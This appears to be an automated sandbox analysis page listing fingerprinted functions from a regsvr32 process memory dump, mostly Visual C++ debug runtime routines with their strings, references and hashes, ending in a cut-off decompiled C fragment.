String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction ID: c5de73825737ff17a6e05e0685af1bba33d69fc1e3bcf908defeea2cf04d7043
Opcode Fuzzy Hash: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction Fuzzy Hash: A9F15A32A0DB8A89FBA08B14E84576EA7E0F385395FA04535D6DD43BA8DF3ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction ID: 46d09667909aa5f7b215aa93bab53907018271778d835aa8b5e6ab3fef1b3364
Opcode Fuzzy Hash: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction Fuzzy Hash: 3BC12D72A0C7C686E7B19B64E8457BEB7E4F384785F604025DAC887AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction ID: caaad020489782614700f882d8602b34381ead5b625f1b09b5848be00580b1cf
Opcode Fuzzy Hash: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction Fuzzy Hash: 28617C72A1C646CAE7909B25EC4076E72E1F380765F604725E6ED47AF9DB7EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Module: , xrefs: 000007FEF9D2B192
__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167
(*_errno()), xrefs: 000007FEF9D2B2C7
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction ID: 47630d5eafba837dbe703c3de9865bf662ca48ff4c989782bbe983e1f30135bf
Opcode Fuzzy Hash: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction Fuzzy Hash: 7851C476608AC591E774DB18F8803EEB3E1F788394F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction ID: db55a7b1c5e8f8ba017cd25dadef4e5d7f369c86b420bd695ab78b9edef6402a
Opcode Fuzzy Hash: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction Fuzzy Hash: 49F1D87260CBC186E7B18B25E8947AEB7E4F384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction ID: e049fe60bfe8b909c44bc6b291fed8ca56badbc40bca4273ec712473172458ea
Opcode Fuzzy Hash: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction Fuzzy Hash: 72617B71A1C6468AE7909B28EC4176E73E1F780354F608225E6DE57AF5D77EE440CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction ID: a54d4eac887ae6c515e29e2b1085f50a353430ba1ba5378d93a4f051e541eccc
Opcode Fuzzy Hash: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction Fuzzy Hash: 38515C71A186468AE7909B29EC8176E73E2F780758F608225E6DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction ID: 35246ecaaba514364cbfc4328619620b6524a9f29049ac5612c0b139108759f7
Opcode Fuzzy Hash: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction Fuzzy Hash: 41C10D72A0CAC286E7B19B55E8407AFB7E0F384346F600125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction ID: 6d338823bc0f2b3e781b71aef6a49b7720da2244df946e2498ce1ac2f83d5b49
Opcode Fuzzy Hash: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction Fuzzy Hash: BE023F32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction ID: 3e7729e9fa2df8fbd66d26b0c41d9f273e3b14a95de5485bb8cc9613adf332ea
Opcode Fuzzy Hash: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction Fuzzy Hash: 48F1E972A0CAC18AE7A08B55E8407AFB7E0F385746F600126E6CD87AA9DB7DD444CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
Buffer is too small, xrefs: 000007FEF9D31934
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction ID: aecfb8002ddf48ca923cbb39b51a8433fc62f52c2bad17b92f015e95501d1b82
Opcode Fuzzy Hash: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction Fuzzy Hash: 16C15B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA9DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805
Buffer is too small, xrefs: 000007FEF9D2D775
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction ID: 2d2c21a115c33e05293010ad7c3501076a31da08f4abba68164bfd8b1e70ad26
Opcode Fuzzy Hash: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction Fuzzy Hash: 9EC14D3190CB8A85EBA08B28E84436EA3E0F386794F614535D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
